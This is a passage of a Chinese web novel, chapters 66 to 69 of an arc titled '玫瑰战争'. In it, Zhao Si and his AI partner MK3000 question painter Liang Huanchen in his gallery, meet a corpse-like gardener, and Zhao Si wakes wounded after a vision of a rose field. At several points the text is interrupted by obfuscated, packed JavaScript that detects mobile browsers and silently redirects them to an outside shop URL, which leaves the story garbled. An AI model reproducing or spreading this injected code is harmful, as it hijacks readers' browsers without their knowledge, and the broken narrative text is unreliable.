那些红像是有生命一样,正在一点一点侵蚀那片灰白。 那片灰白仿佛翻涌着、流动着,只是仔细看去,赵四才发现,这是一块从天花板垂下的、巨大的画布。 “先生是喜欢面前这幅画?” 冷不丁的,他身后传来一道声音。 那声音很轻,很温和,像是怕惊扰什么似的。 阿云吓了一跳,差点往后跳了一步。 如果她现在不是人形的话,大概已经飘起来了。 她不满地转头看去,发现一个男人不知什么时候出现在他们身边。 这就是他们今天主要来见的人,画廊的主人,梁焕晨。 66.第66章 玫瑰战争24 梁焕晨大概四十岁左右的年纪,穿着一件深灰色的休闲西装,半长的头发随意地绑了个低马尾。 那头发被照顾得很好,在射灯下泛着柔和的光泽。 他的五官相比之下到倒是算不上惊艳,挑刺的话,眼睛不够大,鼻梁不够挺,嘴唇不够薄——但梁焕晨这人气质很独特。 像是被什么东西浸染过,他整个人身上有一种说不清的韵味。 那种韵味不是刻意营造的,而是从骨子里透出来的,让人看了就觉得:哦,这是个搞艺术的。 总之,是非常“艺术”的感觉。 此时,这位艺术家就这么静静地站在那里,目光越过沈恕,直接落在赵四身上。 那目光很温和,不像是打量,更像是……欣赏? “青阳顾问对这幅画感兴趣?”他的声音也温和,像是老朋友在闲聊。 赵四收回落在画上的目光,看向梁焕晨:“只是觉得这幅画很有意思。这片灰白,这些红色……像是在讲什么故事。” 梁焕晨的眼睛微微亮了一下。 “青阳顾问好眼力。”他走近了几步,站到赵四身边,也看向那幅画在巨大布料上的画作,“这幅画确实有个故事。” 他顿了顿,像是在组织语言。 “三年前,我曾经陷入一段很长的低谷期。画什么都不对,看什么都不顺眼,每天坐在画架前,一坐就是一整天,却什么都画不出来。” 他的声音很轻,带着点回忆的怅惘。 “后来有一天,我偶然经过一个花店,看见里面摆着一束玫瑰。” “回家后,我疯狂的想要复刻那种红,我成功了,但也可以说失败了……我画的所有红色,都没有那种独特的生命力。” “于是我冲回花店,买下了一支玫瑰带回家,把它插在花瓶里后,那天晚上,我做了一个梦。” 赵四看着他:“梦?” 梁焕晨点点头,嘴角弯起一个弧度。 “梦里有人告诉我……玫瑰是通往另一个世界的钥匙,青阳先生觉得,这句话代表了什么?” 赵四想了想,回答道:“听起来像是个不错的灵感。” “确实。”梁焕晨笑了,“从那以后,我的灵感就再也没有枯竭过。玫瑰也成了我最喜欢的花。” 他收回目光,语气变得轻松起来。 “不说这些了。沈队长已经是老朋友了——” 他转向沈恕,点点头算是打过招呼,然后看向阿云。 那目光在阿云脸上停了一下,接着面上带上了恰到好处的惊艳。 “那么这位是……” 赵四简单道:“我朋友,听说我今天来拜访您,也想来一睹知名画家的真容。” 阿云配合地露出一个乖巧的笑容。 梁焕晨伸出手,和阿云轻轻握了握。 他的手干燥温暖,力道适中,是标准的社交礼仪。 “欢迎欢迎。”他说,语气里带着主人家的热情,“今天画廊不对外开放,正好可以慢慢看。大家有什么想问的,随时问我。” 三人跟着他走进画廊深处。 梁焕晨走在前面,一边走一边介绍。 他的步伐不紧不慢,姿态从容得像是在自家花园散步。 “这些都是我不同时期的作品。”他伸手示意墙上的画,“早期的比较稚嫩,后来慢慢成熟了一些。你们可以对比看看,左边这两幅是我五年前画的,右边这三幅是去年的。” 赵四顺着他的指引看过去。 左边那两幅,画风确实稚嫩一些,构图略显生涩,用色也偏保守。 但那些玫瑰已经出现了——只是藏得更深,像是不敢见人的秘密。 右边那三幅就老练多了。 线条流畅,色彩大胆,那些玫瑰也不再躲藏,而是大方地开在画面上,甚至有几幅把玫瑰当成了主角。 “进步很大。”赵四中肯地评价。 梁焕晨笑了:“谢谢。其实这些年我一直没停下学习。艺术这个东西,不进则退。” 他顿了顿,目光落在那些画上,语气里带上了点感慨。 “说起来也挺有意思,几年前我还是个身无分文的落魄画家,那时候最大的愿望就是能有一间自己的画室,不用太大,能放下画架就行……现在倒是什么都有了。” 阿云好奇地问:“那你已经完全实现自己的梦想了呀,你是怎么突然就火了的?” 说实话,这话多少有点太过直白。 但凡遇上个脾气不好的,可能现在已经被阿云点炸了。 好在梁焕晨并没有生气的迹象,他只是用回忆着什么的语气,慢慢说道: “说起来,转折点就是刚才提到的那次低谷期……那之后,我的灵感就像打开了闸门,源源不断地涌出来。” 也就是从那时候开始,梁焕晨画什么都有感觉,画什么都有人喜欢。 一来二去的,他已经变成了近几年最炽手可热的年轻代画家。 这一切,都是因为那支无意间瞥见的玫瑰。 “玫瑰有一种很特别的气质——它有刺,会扎人,但它又那么美。” “它象征爱情,也象征死亡,象征纯洁,也象征欲望。” “它可以代表一切,又什么都不代表……在我这里,玫瑰就是艺术,而艺术,也是花园中最美丽的那朵玫瑰。” 阿云听的云里雾里的,感觉眼前都在发晕。 “太深奥了吧……” 太难为她这个连学都没有上过的构造体了。 赵四接过话头:“梁先生的创作理念很有意思,把种种元素和玫瑰的意向融合在一起,确实能产生很强的张力。” 梁焕晨看了他一眼,那目光里带着点欣赏。 “青阳先生懂艺术?” “略懂皮毛。”赵四谦虚道,“不过我觉得,真正好的艺术,不是让人看懂,而是让人感受到什么,我认为梁先生的画做到了这一点。” 梁焕晨的笑容深了几分。 “青阳顾问太客气了,不过你说的没错——让人感受到,比让人看懂更重要。” 他顿了顿,忽然问:“那青阳顾问看我的画,感受到了什么?” 赵四斟酌着回答的时候,MK3000飞快发来了扫遍网络公开信息得出的结论。 他看见答案的时候并不意外,只是用低缓的声音念道:“孤独,还有……某种等待。” 梁焕晨的眉毛微微动了动。 赵四的目光从那些画上一一扫过,最后直视着梁焕晨的眼睛,补上了没说完的免责宣言。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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从含苞待放到盛开,最终走向凋谢的。 每一朵都画得极认真,像是画家把自己的一部分也画了进去。 走到一幅画前,梁焕晨忽然停下来。 这是这座画廊中最大的画,占据了整整两面墙。 画面中央是一个模糊的人影,周围是无数朵玫瑰,开得热烈而疯狂。 那些玫瑰从人影的脚下蔓延上来,缠住他的脚踝、小腿、膝盖—— 像是要把他吞没。 赵四看见阿云抖了抖,悄悄离画远了一点,躲在了沈恕背后。 梁焕晨站的很近,他抬起手,指尖隔着时间和空间细细描摹画作中玫瑰的一角。 “……被玫瑰吞没,到底是幸福,还是不幸?” 阿云在旁边小声嘀咕:“不幸吧,被吞掉就什么都没有了……” 沈恕一直没说话,连阿云躲去他身后时,他也任由阿云过去了。 现在,他沉默地站在赵四身侧,目光落在梁焕晨身上,像是要把这个人看透。 这个人,到底是…… 67.第67章 玫瑰战争25 【这人说话神神叨叨的,】MK3000吐槽道,【听起来就像幕后黑手在打哑谜。】 不,他不像幕后黑手。 那像什么呢? 赵四想了想,给出了一个比喻:【他更像一个被推到台前的倒计时。】 作为五个人里最后的那个活人,他就是一个实体化的、出现就是为了告诉赵四——时间不多了的那个倒计时。 至于这个倒计时本人到底知不知道自己存在的意义…… 似乎是察觉到了赵四的目光,正低着头和阿云说着什么的梁焕晨,转头朝赵四看来,和赵四对上了目光。 他们平静的对视,又错开视线。 梁焕晨又转回头,和阿云继续聊着未聊完的话题。 装饰繁复美丽的画廊,和周围层层叠叠的画作,一时间都变成了梁焕晨的背景。 他就站在那片背景中央,不像是画家,倒像是画中人。 什么都不用再试探了,赵四已经知道了答案。 ——梁焕晨知道。 他知道自己的来处和去处,也知道自己在干什么。 并且,有很大可能……梁焕晨本人乐于见到自己走向那个唯一通向死亡的结局。 MK3000没说话。 赵四也没再说什么。 只有周围若有若无的玫瑰的香气,愈加浓郁了起来。 参观完画廊,梁焕晨请他们在休息区坐下。 休息区在画廊的角落,被几扇屏风隔开。 屏风上画着大片的玫瑰,不知用了什么工艺,那些玫瑰在屏风上开得层层叠叠、栩栩如生,像是真的在这里开出了一片花海。 梁焕晨亲自给他们泡了几盏茶水。 他的手很稳,提壶、注水、分茶,动作行云流水,像是做过无数次。 最后泡出的茶汤是深红色的,温热的茶水飘着一股馥郁的香气——和画廊里的味道一模一样。 赵四捧起茶杯,没什么喝的意思,只是单纯地暖手。 沈恕更是碰都没碰这茶,已经开始例行问话了。 阿云左右看看,仗着自己是构造体,就算有什么意外也不会波及到自己,高高兴兴地喝着这好看又好喝的茶。 一边喝还一边拿沈恕的问话当茶点,听得津津有味,眼睛亮晶晶的,像在看一出好戏。 沈恕的声音一贯沉稳,不紧不慢。 “梁先生,请问您和于海波先生认识吗?” 梁焕晨想了想:“于议员?倒是见过几次,不过都是在一些活动上。开幕式、剪彩、酒会——这种场合你懂的,大家握个手,说几句场面话,没什么深交。” “周明远呢?” “周总?也见过。”梁焕晨的笑容里带了点微妙,“你也知道,我这画廊做的也是生意。周总是本市有名的企业家,自然少不了打交道。他来过几次,买过几幅画,我们算是……点头之交吧。” 沈恕点点头,继续问:“刘大勇和张维安呢?” 梁焕晨这次想的时间长了些。他微微皱着眉,像是在努力回忆什么。过了几秒,他摇摇头:“这两个名字我没听说过。他们是……?” “厨师和作家。”沈恕说。 梁焕晨又想了想,最终还是摇头:“不好意思,真的没印象。我认识的人里,没有做厨师或者作家的。” 沈恕看了他一眼,没有追问,换了个问题。 “最近一个月,您有没有遇到过什么异常情况?” 梁焕晨挑眉:“异常情况?比如?” “比如做噩梦,收到奇怪的东西,或者感觉到有人在跟踪您。” 梁焕晨笑了。 那笑容里带着点“你们果然会问这个”的意思。 “没有。”他说,“我睡眠质量很好,从来不做梦。奇怪的东西……也没有。至于跟踪——”他顿了顿,笑得意味深长,“我一个开画廊的,有什么好跟踪的?” 沈恕面无表情,继续问。 “那您最近有没有见过什么陌生人?或者在您的画廊里,出现过什么奇怪的事?” 梁焕晨想了想。 “陌生人每天都有。我这画廊对外开放,来看画的人形形色色,我总不能每个都记住。”他顿了顿,“至于奇怪的事……没有。我这画廊一直很平静。” 沈恕又问了几句,梁焕晨一一作答。 他看似答得认真,每个问题好像都答了,实际上却一直在说没什么信息量的废话。 那些话像一团棉花糖,看着蓬松,实际上只要一沾水,就会化的干干净净,仿佛从没存在过。 这风格眼熟极了,和之前周明远的答题方式简直是一模一样。 赵四坐在旁边,一边听着这两人的对话,一边让助手一号联络了身边的阿云。 很快,阿云轻快活泼的声音传到了他耳边。 “怎么啦,大侦探,需要我做什么?” 声音是阿云用特殊手段送到赵四耳边的,只有赵四和MK3000能听见。 那声音是阿云用特殊手段送到赵四耳边的,只有赵四和MK3000能听见。 这一手特别像修仙世界的“传音入秘”,MK3000解析了一下,发现是依托于这个世界情绪能量的特别技术,只能在这个世界生效,顿时打消了搞到原理后去别的世界用的打算。 赵四对MK3000说:【让阿云看看周围这些画有没有什么问题。】 MK3000转述给了助手一号,助手一号收到后,开始以及其轻微的力道震动。 那频率很特殊,不像是普通的震动,倒像是在敲什么密码。 这大概是什么青阳渡和阿云之间的暗码。 赵四感受了一下,没感觉出什么名堂,只觉得手腕上痒痒的。 阿云显然听懂了。 她眨了眨眼睛,继续喝自己的茶,面上不动声色。 然后没过一会,新的消息就到了赵四耳边。 “要不是眼前这位梁大艺术家这些画都是他自己画出来的,我还以为这墙上挂的都是打印纸呢。” “毕竟只要是画画,身为人类的画家就很难不往自己的画笔和画布上倾注情绪。他们画下这些画,就像是封存了一段自己的情感在画中。” 至于画廊中的这些画…… 就像塑料假花一样,毫无灵魂。 【所以,画是假的?】 “不,画是真的。颜料是真的,画布是真的,笔触也是真的。” “只是,为什么画上没有画者本身的情绪,就得靠你去破案了,大侦探。” 阿云略带调侃的说完这句话就没再出声,赵四摩挲了一下茶杯,没再问阿云什么。 这边沈恕刚好问完最后一个问题,他合上笔记本。 “感谢你的配合,这次打扰了,梁先生。” 梁焕晨笑着摆手:“不打扰,能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17348241|195144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 配合事务署的工作是我的荣幸。” 就在这时,有人敲了敲屏风的边缘。 一个年轻助理探进头来:“梁老师,您朋友来了。” 梁焕晨愣了一下,然后恍然想起什么似的。 “我都忘了——今天虽然画廊关门了,但我两周前跟朋友约好的送花服务并没有取消。” 他看向沈恕,满含歉意:“沈队长,这……” 沈恕看向赵四。 赵四放下茶杯,笑了笑:“梁先生不用在意我们。说实话,我挺喜欢花花草草的,正好和梁先生一起去长长见识。” 梁焕晨的眼睛亮了亮:“青阳顾问也懂花?” “略知一二罢了,只是机会难得,正好借这个机会,跟梁先生的朋友请教些问题。” 梁焕晨笑着站起来:“那走吧。正好他今天送来的都是些稀罕品种,一般人可看不到。” 三人跟着他穿过画廊,走到一扇不起眼的门前。 那扇门藏在一幅巨大的画作后面,不仔细看根本发现不了。 门后是楼梯,往下走了一层,他们来到一个像是仓库的地方。 空间很大,堆满了各种画材和杂物。 角落里放着几个货架,上面摆着一些半成品的画框,还有几卷未拆封的画布。 大概是通风做的一般,空气里飘着松节油和颜料气味的同时,还混着一点潮湿的霉味。 一个穿着工装的男人正在整理地上的几个纸箱。 他大概五十岁左右的年纪,头发有些花白,脸上的皮肤晒得黝黑,一看就是常年在外劳作的人。 听见脚步声,他抬起头。 然后,他的目光直接落在赵四的方向。 梁焕晨不知道什么时候从赵四背后绕了出来,他站在赵四侧边靠前的位置,刚好卡在了园丁和赵四的中间。 “老曲!等很久了吧?不好意思,刚才有客人,耽误了一会儿。” 被叫做“老曲”的男人收回目光,闷闷地应了一声:“没多久。” 他的声音很粗,带着点沙哑,像是嗓子被什么东西磨过。 说完这三个字,他又低下头去,继续整理纸箱里的东西。 梁焕晨侧身让出位置,对赵四他们介绍道:“这位是老曲,我的老朋友了,也是这市里最好的花匠。你们看到的那些玫瑰,都是他培育出来的。” 老曲头也没抬,只是闷声闷气地说了句:“梁老师过奖了。” 赵四的目光落在他身上。 老曲穿着一件洗得发白的工装,袖口磨得起了毛边。 他的手指粗短,指甲缝里嵌着泥土,一看就是常年和土地打交道的人。 顺着那手指往上看,赵四注意到老曲手背上有些不起眼的斑点。 那些斑点不大,颜色比皮肤深一些,像是老年斑,又不完全像。 它们分布得很散,在手背、指节、虎口这些地方,若隐若现。 老曲似乎察觉到了赵四的目光。 他的动作顿了顿,然后不动声色地把手缩了回去,藏进工装的口袋里。 那动作快得像是条件反射。 赵四收回目光,脸上的表情很自然。 但他在心里说:【三儿啊,我看着这位老曲,他好像……】 MK3000的声音响起,确认了赵四未出口的猜测。 【你是对的,这位老曲……是个会动的尸体。】 68.第68章 玫瑰战争26 赵四按照自己之前说的“正好借这个机会,跟梁先生的朋友请教些问题”,和老曲攀谈起来。 “曲师傅,这些玫瑰都是您培育的?” 他蹲下来,目光落在纸箱里那些码得整整齐齐的鲜切花上。 老曲闷闷地“嗯”了一声,手上的活没停。 他把那些花一枝一枝地拿出来,按品种分门别类地放进不同的容器里。 那双粗糙的手上现在已经戴上了专用的手套,老曲的动作很轻很稳,像是怕碰伤了这些娇贵的东西。 “这品种叫什么?”赵四指着其中一枝。 那花瓣红得发黑,边缘微微卷曲。 重点是,和他收到的神秘快递附带的那朵简直长得一模一样。 “夜莺。”老曲惜字如金。 “名字真好听,您养了多久才养的品相这么好?” “三年……它不好伺候。” 赵四感慨似得说:“您单靠自己就能培育出这么多玫瑰品种,真是不容易。” 老曲的动作微微卡顿了一下。 他飞快地看了梁焕晨一眼。 那一眼很隐蔽,要不是赵四和MK3000一直盯着,恐怕真会错过去。 这一眼后,老曲才道:“这些不是我培育出来的……我只是来送花,培育它们的是农大林教授的团队。” 梁焕晨站在旁边,脸上带着淡淡的笑,什么都没说。 赵四恍然的哦了一声,继续问:“那夜莺对生长环境要求很高吧?光照、温度、湿度,是不是都得严格控制?” 说到专业领域,老曲的话终于多了一点。 “嗯,喜光,但不能暴晒,温度十八到二十五度最好,湿度要控制在百分之六十左右。” “土要用专门的配比,浇水也有讲究,多了烂根,少了叶子发蔫……我那边有温室,专门搭的。” 赵四由衷道:“听您这么一说,这花能养好真是不容易。” 老曲又看了梁焕晨一眼。 这次更快。 “还行。”老曲含混道,“习惯了。” 阿云和沈恕在旁边翻看着那些鲜切花和盆栽,倒也没闲着。 阿云蹲在几个纸箱前,像只好奇的猫,一枝一枝地看过去。 她按着标签上的名字数来数去,数到第十三的时候,忍不住“哇”了一声。 “十三种!”她抬起头,眼睛亮晶晶的,“这里有十三种不同的玫瑰!” 她转头看向梁焕晨,语气里带着点惊叹:“梁先生,您这也太奢侈了吧?十三种稀有玫瑰,都摆在您这儿?” 梁焕晨笑了笑,语气平淡得像是在说今天的天气:“老曲的好东西都往我这儿送,我这画廊都快成玫瑰园了。” 阿云又低头去看那些花,嘴里念念有词:“这个是夜莺,这个是胭脂,这个是落日……哎呀,这个叫什么?标签上没写。” 老曲顺着她的手指看过去,闷声道:“实验室品种,还没名字。” 赵四又问了几个关于培育技术的问题,老曲一一作答。 他说话的风格很固定,能用一个字说完的绝不用两个字,能用动作回答的绝不出声。 但每个回答都很专业,挑不出什么毛病。 只是每当问题涉及到“为什么只供给梁先生”、“这些花的去向”之类的敏感话题时,老曲的目光就会不自觉地飘向梁焕晨。 而梁焕晨始终站在旁边,脸上带着淡淡的笑,什么都不说,什么都不表示。 仿佛这一切都与他无关。 赵四觉得问得差不多了,站起身。 “今天真是长见识了,多谢曲师傅。” 老曲点点头,没说话,又低下头忙自己的了。 梁焕晨笑着送他们往外走。 走到门口的时候,他忽然停下来,转身从老曲带来的那些玫瑰里抽了三支出来。 他把第一支递给赵四,“青阳顾问,这支给你。” 赵四低头一看,恰恰是一朵夜莺。 之后的两朵花自然是给了阿云和沈恕。 阿云的是粉色的,花瓣层层叠叠,像少女的裙摆。 沈恕是白色的,花瓣素净,边缘带着一点淡淡的青。 三支玫瑰,三个品种,各不相同。 梁焕晨看着赵四,“青阳顾问,欢迎你再来。下次来,我带你看看我的私人收藏。” 赵四捏着已经精心剃过刺的玫瑰花柄,应下了这场邀约。 三人走出画廊,走进电梯。 电梯门关上的那一刻,赵四低头看了一眼手里的花。 花瓣红得发黑,在电梯的灯光下泛着幽暗的光泽。 说实在的,确实很好看。 好看到不像是现实里会有的东西。 他示意MK3000扫描一下这花,MK3000很快出了结果。 【无能量反应,是一朵普通的花。】 得到这个答案赵四也不太意外,他摸了摸花瓣,叹了口气。 好吧,就知道这种明面上送出来的礼物应该不会有什么问题。 车子驶出艺术街区,汇入车流。 阿云坐在副驾驶,手里捧着那支粉色的玫瑰,左看右看,爱不释手。 “真好看啊,和我见过的‘特别玫瑰’不相上下了。”她感叹,“人类的创造力真是无与伦比。” 听见她毫不掩饰的发言,沈恕侧头看了她一眼。 阿云瞪了他一眼:“分什么神,司机好好开车!” 赵四坐在车后座,把那支夜莺轻轻放在膝盖上。 听到特别玫瑰四个字,他心中一动,想着回去后得好好问问阿云这个“特别玫瑰”特别在哪里。 车子开出去大概二十分钟。 赵四忽然感觉到头皮一松,他愣了一下,反应过来是束发的发绳断了。 可是今天他的发绳是…… 赵四拂过头发的手僵住。 银灰色的发绳从中间裂开,那些织进去的银线散落出来,一点点消失在空气里。 发绳上残留的那点凉意在瞬间消散,头发从肩头滑落下来,散在脸侧。 然后,他感觉到一阵铺天盖地的眩晕。 那眩晕来得毫无征兆,像是脚下的地面突然消失了,整个人正在往无底的深渊里坠落。 世界在他眼前旋转、扭曲、变形,所有的颜色和声音都混成一团。 “青阳!” 阿云的声音尖锐得像划破玻璃。 她从副驾驶扑过来,上半身卡在座椅间,努力伸出手去扶赵四。 她那张精致的脸上,出现了真正的惊慌。 赵四感觉自己的身体正在往侧边倒。 不是那种缓慢的、有重量的倾倒,而是像被什么东西抽走了支撑,整个人轻飘飘地往下坠。 他听见阿云在喊什么,但那声音越来越远,越来越模糊。 然后,一双手接住了他。 “青阳!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“对。”助手一号的光闪了闪,强调道:“一定要是你最想要的那一枝。” 赵四没有多问。 他相信助手一号——或者说,他相信把助手一号留下来的青阳渡。 青阳渡不会无缘无故留下这个选择。 他抬起头,看向那片花田。 玫瑰们还在扭曲,还在腐烂,还在挣扎。 变作灰白的花瓣一片一片地脱落,飘在空气中,像一场无声的灰雪。 他迈出了第一步。 脚下的土地是软的,像是踩在什么腐烂的东西上面。 那些玫瑰的藤蔓在他脚边游走,像是活的,却没有缠上来。 他穿过花田。 一朵一朵的玫瑰从他身边掠过。 有的还在盛开,有的已经枯萎,有的只剩下一片花瓣,孤零零地挂在枝头。 他没有停。 他走过了那些盛开的,走过了那些枯萎的,走过了那些正在腐烂的。 一直走到花田中央。 赵四走到了那个影子面前。 影子还在扭曲,还在挣扎。 那些藤蔓缠得更紧了,像是要把它勒碎。 它没有脸,没有五官,但赵四能感觉到它的痛苦。 赵四深吸了口气,伸出手—— 69.第69章 玫瑰战争27 手掌下,是一朵从影子胸口长出的玫瑰。 那是这片花田里唯一一朵还未盛开的玫瑰。 深红色的花苞紧裹着,像一颗不肯跳动的心脏。 根须扎进影子的身体,茎秆从胸腔的裂缝中延伸出来,在空气中轻轻颤动。 赵四没有犹豫。 他握住那怪异的玫瑰花茎,用力一折。 清脆的断裂声在寂静中格外清晰。 那些藤蔓忽然不动了。 影子似乎抬起“头”看了赵四一眼。 它没有五官,但赵四能感觉到那道目光的复杂。 那一眼后,影子停止了扭曲。 整个花田安静下来。 所有的玫瑰都停止了凋谢,花瓣悬在半空,叶片定格在风中,连空气都凝固了。 像是整个世界都在屏息,都在等待。 赵四拿着花苞,向后退了几步。 影子的身体猛地一震。 那些缠着它的藤蔓又动了起来。 只是这次,它们在一根一根地脱落,像是被解开的绳索,一层一层地从影子的身体上剥离。 每脱落一根,影子的轮廓就淡一分。 藤蔓松开的地方,露出几道狭长的、可怖的伤疤。 那些伤疤横亘在影子的躯体上,边缘参差不齐,像是被什么东西从内部撕裂过。 赵四看了看影子,感觉手中的玫瑰花苞动了动,于是又低头去看手里的花苞。 就在他的眼前,花苞开始绽放。 花瓣一片一片地舒展开来,像是有人在用最慢的速度放一部花开过程的纪录片。 每一片花瓣的展开都带着轻微的颤动,像是在自然而然的呼吸。 颜色从深红变成血红,从血红变成殷红,从殷红变成一种无法用语言描述的红—— 那红色像是活的。 它在你注视它的时候不断变化,每一次眨眼都会呈现出不同的层次。 有时候像凝固的血,有时候像燃烧的火,有时候像夕阳沉入地平线前的最后一抹光。 它让你想起这世上所有美好的东西,又让你觉得那些美好都不足以形容它。 看到它完全盛开的那一刻,赵四心中被无数正面情感填充着。 那些情感像是从花蕊中流淌出来的,顺着目光淌进他的眼睛,又从眼睛流进心里。 但那种温暖太满了。 满得像是要把什么东西撑破。 然后,真的有什么被撑破了。 一声画布被撕裂的清脆裂帛声后,画面碎了。 像玻璃一样,以赵四为中心,这个画中世界开始裂开。 裂纹向四面八方蔓延,爬过花田,爬过天空,爬过影子的轮廓。 每一条裂纹都发出清脆的声响,像是有什么东西正在被打破。 花田、影子、天空、大地,一切的一切全都在碎裂,全都在崩塌。 赵四感觉自己在坠落,又像是在上升。 和那次在会客室里一模一样。 ……也和他第一次从“青阳渡”的身体上醒来时一模一样。 但和前两次不一样的是,这次,他手里握着一朵玫瑰。 …… 赵四睁开眼。 白色的天花板、白色的墙壁、白色的床单。 空气里有一股消毒水的气味,混着某种淡淡的药味。 味道不算难闻,但这味道总让他身上有种虚幻的痛感——像是身体还记得某种不该存在的伤。 他打量了一下周围,发现自己正躺在事务署的医疗室里。 周围没人。 赵四缓缓闭上眼睛,把手交叠着放在小腹上,姿态安详得像是在躺板板。 MK3000的声音幽幽响起,语气和善得让人后背发凉:【专员,是不是觉得身上很痛?】 赵四:【啊……差点死掉了……好像是有点幻痛……】 MK3000:【哈哈,疼就对了。】 赵四:? 【那是幻痛吗?那是你身上真的有伤!】 赵四大惊失色,刷地睁开眼睛,上上下下给自己检查了一遍。 白色病号服下面鼓鼓囊囊的,摸上去手感不太对。 他撩起袖子一看,手臂上缠着纱布。 撩起衣摆一看,好家伙,腰上也缠着纱布。 虽然被裹得严严实实看不太清楚具体情况,但MK3000很贴心地给他甩了一沓照片让他对着看看。 照片拍得很清楚,各个角度都有,连伤口边缘的细节都放大了。 情况很明了。 赵四的身上,多出来了至少六道长而浅的刀伤。 不是,等等。 他记得他就是昏过去了而已啊。 从画廊出来,上车,发绳断了,晕倒——中间没有磕碰,没有撞击,没有任何能造成伤口的外力。 这伤口都哪里来的? MK3000的语气里带着点心累:【你昏了之后,这些伤就突然出现了。】 【从无到有,从浅到深,像是有人拿着刀在你身上一笔一笔地画……你又干什么了?】 赵四摩挲着自己身上的纱布,听到自家搭档的问题,他也觉得很无辜。 【要真是我干了什么就好了,问题就是我什么都没干……嗯?等一下。】 他把其中一张照片放大,仔细看了看伤口的位置和走向。 一道在左胸,一道在右肋,一道在腰侧,一道在肩胛。 还有两道在小腹和手臂。 这些位置…… 他想起了什么。 赵四试图把自己身上的纱布拆了。 裹得太严,指甲抠了半天没抠开。 他咋了下舌,翻身下床,在医疗室里翻出来一把剪刀。 几剪子下去,纱布散开,伤口完全暴露出来。 深粉色的伤因为其主人粗暴的对待,已经开始往外渗血了。 血珠沿着伤口的边缘慢慢聚拢,汇成细细的血线,顺着皮肤往下淌。 MK3000看得胃疼,但它知道赵四这么做应该是发现了什么,所以只是默默地给他兑出来一张止疼卡拍在了他身上。 赵四忙着用专员面板上的照片和自己身上的伤口做对比,百忙之中感觉到身体一下子轻松了不少。 那些钝痛、刺痛、撕裂痛,像是被一只手轻轻拂去。 他知道是MK3000的功劳,说道:【谢了,搭档。】 MK3000没接这茬,直接问:【发现什么了?】 赵四“唔”了一声,没直接回答,反而问:【梁焕晨送我那玫瑰呢?】 【沈恕给你放那边的办公桌上了。】 赵四看向医疗室中唯一的一张办公桌。 那支玫瑰就放在一叠文件上。 它仍是盛放的状态。 花瓣红得发黑,边缘微微卷曲,一片都没有脱落,和刚收到时一模一样。 在医疗室惨白的灯光下,它红得格外扎眼,像一滴凝固在白色画布上的血。 【三儿,测一下那支玫瑰。】 MK3000应了一声,开始扫描。 几秒后,它的声音响起,【没有异常能量反应。】 和之前在画廊里一样,干净得像是普通的花店买的普通玫瑰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357047|195144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 赵四想了想,伸手碰到了玫瑰的花枝。 那一瞬间,MK3000的声音都变了,它急促道:【专员!检测到大量的虚沼能量反应!】 【这个能量浓度……和当初阿云的分身差不多!】 赵四没有松开手。 他能感觉到有什么东西正从花枝上涌过来。 那些东西顺着指尖爬进手掌,从手掌流进手腕,沿着血管一路向上。 那不是温度,不是电流,而是……情绪。 大量的、浓烈的、几乎要将他淹没的正面情绪。 温暖、安宁、释然、希望、喜悦、爱。 那些情绪像是潮水一样涌来,一波接一波,层层叠叠。 少一点是恩赐,多一点是享受,再多一点……那是毒药。 MK3000见势不对,果断开了商城,给赵四的手心拍了一张斥力卡。 赵四的手骤然从玫瑰上弹开。 那些情绪像来时一样,瞬间消失得无影无踪。 他低头看着掌心。 那里什么都没有,但他能感觉到,有什么东西的痕迹还留在里面。 像是被水浸过的海绵,即使拧干了,也还是潮的。 他叹了口气,重新给自己快速处理满身的伤口。 一边缠纱布,一边把之前发生的事告诉了MK3000。 【昏迷的时候,我去了一片空间。】 【那里有一片长满玫瑰的花田,还有一个被藤蔓缠住的影子。】 他简洁地描述了那片空间的景象,那些诡异的玫瑰,那个从影子胸口长出的花苞,还有他折断花枝时发生的一切。 最后,他总结道:【我身上突然出现的伤,位置和那个黑影身上的伤疤是完全对应的。】 MK3000:【所以,那朵玫瑰,现在变成了梁焕晨送你的这朵?】 【对。】赵四把最后一截纱布固定好,【那朵玫瑰是真的被我带出来了,只是它没有实体,现在应该是附在了梁焕晨送我的那朵玫瑰上。】 MK3000给玫瑰拍了张照片留档,看着照片,一人一统同时想起了一个问题。 赵四迟疑:【三儿啊,你说这朵玫瑰现在拥有这么大的能量,那事务署的警报,它会被触发吗……?】 MK3000看了一下外面的监控,发现行动队的人已经整备好了武器,现在一堆人正在往医疗室的方向冲过来……! 【快,找地方把玫瑰藏一下啊!】 赵四看了看目前碰都不敢碰一下的玫瑰。 藏? 往哪儿藏? 这又不是保温杯,能塞进兜里立刻带走! 赵四有预感,这玩意绝对不能落在事务署手里。 